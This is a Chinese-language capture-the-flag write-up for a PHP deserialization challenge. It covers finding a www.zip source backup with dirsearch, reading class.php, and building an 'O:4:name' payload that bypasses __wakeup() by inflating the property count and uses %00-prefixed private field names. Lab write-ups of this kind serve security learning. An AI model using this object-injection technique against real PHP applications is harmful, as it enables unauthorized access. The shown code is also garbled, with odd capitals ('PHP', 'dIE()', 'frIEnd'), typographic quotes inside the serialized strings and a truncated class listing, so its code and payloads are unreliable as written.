[极客大挑战 2019]PHP 1_PHP

概述用dirsearch-master扫描网站：发现了www.zip，在网址后面加/www.zip，下载www.zip然后解压发现：挨个文件打开，发现flag.php里的flag是假的，然后发现class.php文件中：<?phpinclude'flag.php';error_reporting(0);className{private$username='nonono';priv

用dirsearch-master扫描网站：

发现了www.zip，在网址后面加/www.zip，下载www.zip
然后解压发现：

挨个文件打开，发现flag.PHP里的flag是假的，然后发现class.PHP文件中：

<?PHPinclude 'flag.PHP';error_reporting(0);class name{    private $username = 'nonono';    private $password = 'yesyes';    public function __construct($username,$password){        $this->username = $username;        $this->password = $password;    }    function __wakeup(){        $this->username = 'guest';    }    function __destruct(){        if ($this->password != 100) {            echo "</br>NO!!!Hacker!!!</br>";            echo "You name is: ";            echo $this->username;echo "</br>";            echo "You password is: ";            echo $this->password;echo "</br>";            dIE();        }        if ($this->username === 'admin') {            global $flag;            echo $flag;        }else{            echo "</br>hello my frIEnd~~</br>sorry i can't give you the flag!";            dIE();

根据代码的意思，我们可以发现如果username=admin password=100然后我们再执行__destruct()时可以获得flag
于是构造反序列化：

<?PHP class name{    private $username = 'nonono';    private $password = 'yesyes';     public function __construct($username,$password){        $this->username = $username;        $this->password = $password;    }}$a = new name('admin', 100);var_dump(serialize($a)); ?>

保存，然后获得序列化后的字符串：O:4:“name”:2:{s:14:“nameusername”;s:5:“admin”;s:14:“namepassword”;i:100;}

于是我们将参数值给select，这时候问题来了，在反序列化的时候会首先执行__wakeup()魔术方法，但是这个方法会把我们

的username重新赋值，所以我们要考虑的就是怎么跳过__wakeup()，而去执行__destruct

在反序列化时，当前属性个数大于实际属性个数时，就会跳过__wakeup()，去执行__destruct

于是我们这样构造pyload:

?select=O:4:“name”:2:{s:14:“nameusername”;s:5:“admin”;s:14:“namepassword”;i:100;}

然后我们又意识到，这个变量时private

private 声明的字段为私有字段，只在所声明的类中可见，在该类的子类和该类的对象实例中均不可见。因此私有字段的字

段名在序列化时，类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度

于是我们在构造一回pyload:

?select=O:4:“name”:3:{s:14:"%00name%00username";s:5:“admin”;s:14:"%00name%00password";i:100;}

参考博客：
https://www.cnblogs.com/junlebao/p/13799762.HTML